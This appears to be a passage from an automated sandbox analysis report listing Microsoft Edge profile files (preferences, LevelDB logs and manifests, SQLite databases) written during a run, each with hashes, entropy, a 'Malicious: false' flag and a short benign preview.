File Type:	Unicode text, UTF-8 text, with very long lines (17658), with no line terminators
Category:	dropped
Size (bytes):	17660
Entropy (8bit):	5.489721392828653
Encrypted:	false
SSDEEP:	384:stCPGQSu4EDszqfhnfQwtjpsbGBQwn6WZaTYp:s4OXuyqflQwwbGyQNaTYp
MD5:	981308E97AFF361E6753C0A91ADF8EB4
SHA1:	FE01F5DC5539DDD5971B150793F90EC5A5E65CB7
SHA-256:	460A7DCA12B45CB042FDB564C52D22C8F3B58276900F4CB6BE8C6C8F20A5D257
SHA-512:	26C63E2B572DCABD71235FF1D39EC70F5C8A24AFA612456034B7BFC841CBA70A5595EA46AE30F012A1F548BE5D0F5728BCE3361792FE1C95D413D5A64DE9ADDC
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13379921128230606","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\1c8f79ce-dc7b-4de6-8dca-fad782b2d9cb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9816
Entropy (8bit):	5.124125231520863
Encrypted:	false
SSDEEP:	192:stCkdpEDszqsZihUkAKt8HbV+F3xQA66WZaFIMYBPuYJ:stCQEDszqfhCbGBQx6WZaTYp
MD5:	4E267B9E2EC176C8EE62A40F26F99038
SHA1:	0463B2ADE2DC8B278B433F94395C78214A740693
SHA-256:	5358804ED28AD92CF49E3A9B3EAA3BE30232055E9959F64B657D0671C2A3ECF2
SHA-512:	DED2466C8B20E6E627D1B74DC1DB9D0F35D3860FFC30C75CEF4C46FBDF49E627F653D27F58882FEB0C7B55AB2E7BB4AB9FE031736B4B423C5999B58000E8ABAA
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13379921128230606","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\501f520e-c96d-49bd-8953-ae52f264d998.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561175514437736
Encrypted:	false
SSDEEP:	768:TnuWTd7pLGLhkaWP+YfRn8F1+UoAYDCx9Tuqh0VfUC9xbog/OVUQPw4RDrwBpM/+:TnuWTLchkaWP+YfRnu1jatQP/R4jM/d8
MD5:	4C2BC1DDBA3D7CB7A1A670EBA58277D6
SHA1:	69BDBAC47232AEEE60374E560CF273497D4B198D
SHA-256:	576C18E4E4482AEB3B35F1025D9E609438C113902630E151BB5540712B964F84
SHA-512:	C755EA68BC8F02D8A42DA78BE17A14E07D2B481CD11DD0E9290210029470FC5E458294A0D592AAD5E5893A15CC0A211063775AF1B8992473C6EC0483E482D487
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13379921127671009","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13379921127671009","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\71ee8e4c-c900-49e9-941b-807bc7c45165.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17823), with no line terminators
Category:	dropped
Size (bytes):	17825
Entropy (8bit):	5.4864961020069485
Encrypted:	false
SSDEEP:	384:stCPGQSu4EDszqfhnfQwtjpsbGBQwn6WqlaTYp:s4OXuyqflQwwbGyQ4aTYp
MD5:	F4F590BDBE98C677A18E1222FC25494D
SHA1:	4474BE03EFB6D8B77ED76009480C779B99AB80C2
SHA-256:	21CD3FC0A035DDB850CA821CAD6117F8DF06A5E6491F37DB4C3646DA642ED0FD
SHA-512:	96EB872B424114AB0430AC72D8A66DA60F2190E56463E5BE0C7A068D0CB1D30AA0CF6A461CFD305634E1DC0C7BAC4E785EA547BC8FC227DCB7FE27C7EEA702EB
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13379921128230606","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	309
Entropy (8bit):	5.278738512314181
Encrypted:	false
SSDEEP:	6:HDBXHM1923oH+Tcwtp3hBtB2KLlRDAZyq2P923oH+Tcwtp3hBWsIFUv:HhhYebp3dFL/Dv4Yebp3eFUv
MD5:	C6F56AAE988747C38B94424AB9741977
SHA1:	4D58DB9DF8A7DCDBC8B9EAF771D5E6BBB4D66BB2
SHA-256:	BF2C92F071DD7F0EC2EEB6143CE5C2FA94185FF352EEEC3C29143C97BE983086
SHA-512:	1BEF2CE1587AC1169D49DF71E15B8880233443A23D3F10DC1D3B8899F4220FE25BF78CD032B00A70D7383E885A859A8750554D01CE39346EAB65F25B37A7B74A
Malicious:	false
Preview:	2024/12/28-23:45:32.958 1034 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/12/28-23:45:32.976 1034 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.22287340304579
Encrypted:	false
SSDEEP:	24576:v+/PN8FSfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:v+/PN8Ufx2mjF
MD5:	4C0159EE662F41968787A7DECB073AB6
SHA1:	5E3F08AF43E19785F50BD79BB65A9A6606BA9FF1
SHA-256:	5B0B675BEFCBFDDA11A213908C5A753B3DC0F3CEA791DE8C1CAC65B3C9A76C51
SHA-512:	A2A558EDA195EDE553928961756C120FFD56BB481F48A1BB99C50F5E64B9A7C0DB8B21FB649CB898320A3BF34FE7F4955243F1B4A4D88C08FC39F81427114C8F
Malicious:	false
Preview:	...m.................DB_VERSION.1.l.i.................QUERY_TIMESTAMP:arbitration_priority_list4...13340900604462938.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.153051817985177
Encrypted:	false
SSDEEP:	6:HeN+q2P923oH+Tcwt9Eh1tIFUt8GDeSZmw+GDXXd3VkwO923oH+Tcwt9Eh15LJ:HXv4Yeb9Eh16FUt8Gv/+GLD5LYeb9Ehx
MD5:	3374AB27A02080301FE0DFFB3F50D3F7
SHA1:	936226DD13E090A9E64A21D618DA79C872239D87
SHA-256:	5E3B92AD65C4992A2E6BFA993C92396D309CE84A6979A7EDE390457AD07A2AA2
SHA-512:	67B33E8CA5A7F4D7492795FBCE7BC2E733D5F53FA05D672184522CE78FADAD7297A9CC014BDF3E6892E1E2A562DE19857CF23BEC20BEAC1088CD3BBDF1A8E419
Malicious:	false
Preview:	2024/12/28-23:45:32.898 21b8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/12/28-23:45:32.916 21b8 Recovering log #3.2024/12/28-23:45:32.925 21b8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.153051817985177
Encrypted:	false
SSDEEP:	6:HeN+q2P923oH+Tcwt9Eh1tIFUt8GDeSZmw+GDXXd3VkwO923oH+Tcwt9Eh15LJ:HXv4Yeb9Eh16FUt8Gv/+GLD5LYeb9Ehx
MD5:	3374AB27A02080301FE0DFFB3F50D3F7
SHA1:	936226DD13E090A9E64A21D618DA79C872239D87
SHA-256:	5E3B92AD65C4992A2E6BFA993C92396D309CE84A6979A7EDE390457AD07A2AA2
SHA-512:	67B33E8CA5A7F4D7492795FBCE7BC2E733D5F53FA05D672184522CE78FADAD7297A9CC014BDF3E6892E1E2A562DE19857CF23BEC20BEAC1088CD3BBDF1A8E419
Malicious:	false
Preview:	2024/12/28-23:45:32.898 21b8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/12/28-23:45:32.916 21b8 Recovering log #3.2024/12/28-23:45:32.925 21b8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46251684715918623
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBujRQ:TouQq3qh7z3bY2LNW9WMcUvBuq
MD5:	90AAB168EE0E6B2BF9D0B3007BF7CEB7
SHA1:	590425DD3D607ACD7F9DB529704D00B2DFCAA078
SHA-256:	1E1D34786F5844644B6EF9A52A49E3FCBBFB70D3D58B375990D4E8E4C3EDEFC3
SHA-512:	21FD4E98826CFC55317991B7ADDD47000AE6486DA003AF87CE5FA438C9FE0AC21047847827B5A7832EE9B3A4B2EA8EA3F3A792CB499E93FEB92F2259005ED2A1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.241920638029185
Encrypted:	false
SSDEEP:	6:HXYFgcM+q2P923oH+TcwtnG2tMsIFUt8GXeJZmw+GXUocMVkwO923oH+TcwtnG2b:HXotM+v4Yebn9GFUt8GXY/+GXsMV5LYi
MD5:	1285CB641A00BE3CE84D3133B7DE2705
SHA1:	D8CFEEBF0DA8C00F41D39F8EF724719793ECE3EB
SHA-256:	53B4B98812FEED785C4B3EC1E4D98A093FA7605A8883F885A4BB35430DEE30B2
SHA-512:	929BE94678501C3C8F5CD04B77C59BBF722C86ACDA71F9C64EF3DC49946FEEDE451010CB7BF3E769058C2B3677EEAA4F3438DB03A385D7A8FFE66AD16A1BF8C8
Malicious:	false
Preview:	2024/12/28-23:45:27.769 1c6c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/12/28-23:45:27.771 1c6c Recovering log #3.2024/12/28-23:45:27.772 1c6c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.241920638029185
Encrypted:	false
SSDEEP:	6:HXYFgcM+q2P923oH+TcwtnG2tMsIFUt8GXeJZmw+GXUocMVkwO923oH+TcwtnG2b:HXotM+v4Yebn9GFUt8GXY/+GXsMV5LYi
MD5:	1285CB641A00BE3CE84D3133B7DE2705
SHA1:	D8CFEEBF0DA8C00F41D39F8EF724719793ECE3EB
SHA-256:	53B4B98812FEED785C4B3EC1E4D98A093FA7605A8883F885A4BB35430DEE30B2
SHA-512:	929BE94678501C3C8F5CD04B77C59BBF722C86ACDA71F9C64EF3DC49946FEEDE451010CB7BF3E769058C2B3677EEAA4F3438DB03A385D7A8FFE66AD16A1BF8C8
Malicious:	false
Preview:	2024/12/28-23:45:27.769 1c6c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/12/28-23:45:27.771 1c6c Recovering log #3.2024/12/28-23:45:27.772 1c6c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.613773024335185
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jkdlpydrmL:TO8D4jJ/6Up+odudI
MD5:	7A1F06FA9E094FA878334F78600BA9AD
SHA1:	A28B35462541F03B12437272E52D344BD7634422
SHA-256:	8860C7D1C4AB79F422876444F6C6E4C7FFFCDEAA3951DBB74FDB925C9A8359A1
SHA-512:	E317D88A415646DE51C53BE391E0D1870FB20921D8CECDF75807D3C8E3EAEDC55CDD7D37195FB7ED9C6F365F37C59D999BA9FBA1521A9EF2FB1162EFE824AB8B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354078908591915
Encrypted:	false
SSDEEP:	6144:YA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:YFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	BA67F9D3C7BBACD4A281429DF644732A
SHA1:	3D4D57A846BA65B25FCDF35031BF1B10C48857E6
SHA-256:	6E7324B4985B9B08E06A9DB57DAAD22DFFBC5B3D388A21A48FCF755C21DE7AA8
SHA-512:	3F005E533A3EB396BE124D1FEFC67EEF8EDAD7F712CFE33428AE9F89E674CB29A8437FC06E7827F8829357B509D493EB029AC14471CA006E81F44DC794B1E2BC
Malicious:	false
Preview:	...m.................DB_VERSION.13g.Lq...............&QUERY_TIMESTAMP:domains_config_gz2...13379921135939808..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.188751428742277
Encrypted:	false
SSDEEP:	6:H3a1923oH+Tcwtk2WwnvB2KLlRDT4t+q2P923oH+Tcwtk2WwnvIFUv:HfYebkxwnvFL/PBv4YebkxwnQFUv
MD5:	F23F3F0FFBF5CD0CEED8F4D074850E13
SHA1:	0BD5785A682D8D57A37D2571CF4C3FCB9BC059B3
SHA-256:	C42B6047F510C3E959D30CF33B37A6D3D2E3627278D83519E40B0D16B371DE22
SHA-512:	4056BE0E6161026E233849A95528F400BBCFCCF2B5E6A969E0E1F7F4B3152B64C47BF3B12E161E9E946E6B169F30D0E333BAFC7C30317F673A0E12EAE7D5B077
Malicious:	false
Preview:	2024/12/28-23:45:32.854 21f8 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/12/28-23:45:32.966 21f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
